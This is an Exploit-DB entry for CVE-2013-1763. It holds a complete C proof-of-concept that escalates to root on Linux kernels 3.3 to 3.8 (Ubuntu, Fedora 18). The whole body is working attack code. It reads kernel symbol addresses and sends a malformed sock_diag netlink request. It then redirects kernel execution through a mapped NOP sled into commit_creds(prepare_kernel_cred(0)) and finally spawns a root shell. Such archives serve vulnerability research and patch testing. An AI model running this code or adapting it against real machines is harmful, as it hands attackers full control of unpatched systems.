Linux Kernel 3.3 < 3.8 (Ubuntu / Fedora 18) - 'sock_diag_handlers()' Local Privilege Escalation (3)

EDB-ID:

33336

Author:

SynQ

Type:

local

Platform:

Linux

Published:

2013-02-24

/* 
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
* 
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
* 
* Fedora 18 support added
* 
* 2/2013
*/

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
kernel_code()
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

int jump_payload_not_used(void *skb, void *nlh)
{
	asm volatile (
		"mov $kernel_code, %eax\n"
		"call *%eax\n"
	);
}

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy, sym[512];
	int ret = 0;
 
	f = fopen("/proc/kallsyms", "r");
	if (!f) {
		return 0;
	}
 
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
		if (ret == 0) {
			fscanf(f, "%s\n", sym);
			continue;
		}
		if (!strcmp(name, sym)) {
			printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);
 
	return 0;
}

int main(int argc, char*argv[])
{
	int fd;
	unsigned family;
	struct {
		struct nlmsghdr nlh;
		struct unix_diag_req r;
	} req;
	char	buf[8192];

	if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
		printf("Can't create sock diag socket\n");
		return -1;
	}

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = sizeof(req);
	req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
	req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 123456;

	//req.r.sdiag_family = 89;
	req.r.udiag_states = -1;
	req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

	if(argc==1){
		printf("Run: %s Fedora|Ubuntu\n",argv[0]);
		return 0;
	}
	else if(strcmp(argv[1],"Fedora")==0){
	  commit_creds = (_commit_creds) get_symbol("commit_creds");
	  prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	  sock_diag_handlers = get_symbol("sock_diag_handlers");
	  nl_table = get_symbol("nl_table");
	  
	  if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
		printf("some symbols are not available!\n");
		exit(1);
		}

	  family = (nl_table - sock_diag_handlers) / 4;
	  printf("family=%d\n",family);
	  req.r.sdiag_family = family;
	  
	  if(family>255){
		printf("nl_table is too far!\n");
		exit(1);
		}
	}
	else if(strcmp(argv[1],"Ubuntu")==0){
	  commit_creds = (_commit_creds) 0xc106bc60;
	  prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
	  req.r.sdiag_family = 81;
	}

	unsigned long mmap_start, mmap_size;
	mmap_start = 0x10000;
	mmap_size = 0x120000;
	printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);

        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }
	memset((void*)mmap_start, 0x90, mmap_size);

	char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
	unsigned long *asd = &jump[4];
	*asd = (unsigned long)kernel_code;

	memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

	if ( send(fd, &req, sizeof(req), 0) < 0) {
		printf("bad send\n");
		close(fd);
		return -1;
	}

	printf("uid=%d, euid=%d\n",getuid(), geteuid() );

	if(!getuid())
		system("/bin/sh");

}